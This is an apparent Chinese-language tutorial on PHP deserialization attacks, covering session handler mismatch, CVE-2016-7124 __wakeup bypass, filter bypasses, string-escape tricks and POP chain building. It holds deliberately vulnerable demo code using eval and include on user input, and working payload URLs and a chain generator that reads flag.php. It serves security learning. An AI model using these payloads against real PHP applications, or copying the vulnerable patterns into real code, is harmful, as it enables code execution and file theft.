Session反序列化
php默认将session存储至文件,文件名以sessionid命名,存储的为序列化后的SESSION内容。php默认使用的session_handler为php引擎。但当序列化与反序列化的引擎不同的差异时则有可能造成反序列化漏洞
不同存储引擎的结果
php
php_binary
php_serialize
1 2 3 4 5 6
| <?php ini_set('session.serialize_handler', 'php_serialize'); session_start();
$_SESSION['name'] = $_GET['name'];
|
1 2 3 4 5 6 7 8 9 10 11 12
| <?php ini_set('session.serialize_handler', 'php'); session_start();
class Test { public $test; function __destruct() { @eval($this->test); } }
|
payload
1
| http://127.0.0.1/demo.php?name=|O:4:"Test":1:{s:4:"test";s:10:"phpinfo();";}
|
此时的test.php
wakeup绕过
利用CVE-2016-7124漏洞可绕过php __wakeup魔术方法,漏洞可用版本为PHP5.6.25之前和7.0.10及7.X,当反序列化的属性个数大于真实的属性个数时即可绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php
class Demo { public $c;
function __construct() { highlight_file(__FILE__); }
function __destruct() { @eval($this->c); }
function __wakeup() { $this->c = null; } }
$demo = new Demo(); if (isset($_GET['c'])) { unserialize($_GET['c']); }
|
正则匹配绕过
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class Demo { function __destruct() { echo 'Success'; } } if(preg_match('/o:\d+:/i', $_GET['c'])) { echo 'Fail'; } else { unserialize($_GET['c']); }
|
添加一个+号绕过:http://127.0.0.1/demo.php?c=O:%2b4:%22Demo%22:0:{}
对象类型绕过
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class Demo { function __destruct() { echo 'Success'; } } if(substr($_GET['c'], 0, 2) == 'O:') { echo 'Fail'; } else { unserialize($_GET['c']); }
|
利用数组序列化绕过对象类型限制,php会对序列化的数组里的序列化内容再次进行反序列化
1 2 3 4 5 6
| <?php class Demo {} $obj = new Demo(); $obj_arr = array($obj); echo serialize($obj_arr);
|
字符逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php function fliter($string) { $filter = '/p/i'; return preg_replace($filter, 'WW', $string); } $username = 'pletman'; $age = '18'; $user = array($username, $age); var_dump(serialize($user)); echo '<br/>'; $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r));
|
序列化的内容经过过滤函数后的属性值与长度不一会导致反序列化失败,因此如果我们想修改年龄的话就需要注入序列化后的payload,即:”;i:1;s:2:”20”;}。payload长度为16,用payload的长度除以每过滤一次多出来的一个字符即:16 / 1 = 16,所以需要注入16个p。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); function filter($string) { $filter = '/pp/i'; return preg_replace($filter, 'W', $string); }
$username = 'ppletman'; $age = '18'; $user = array($username, $age); var_dump(serialize($user)); echo "<pre>"; $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r));
|
字符pp被替换成W导致长度不符反序列化失败
首先将age改为序列化的内容即”;i:1;s:2:”20”;},username随意填充几个字符,可以看到属性长度为5但实际内容的长度只有3所以会继续向后读取二位导致反序列失败
要计算填充多少个字符只需要把冗余的脏数据 x 2
pop链构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php
class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; }
class Show { public $source; public $str;
public function __construct($file) { $this->source = $file; } }
class Test { public $p;
public function __construct() { $this->p = new Modifier(); } }
$a = new Show('flag.php'); $a->str = new Test(); $b = new Show($a); echo urlencode(serialize($b));
|
参考资料
https://xz.aliyun.com/t/7570
https://my.oschina.net/u/3076320/blog/4372683
https://www.anquanke.com/post/id/197787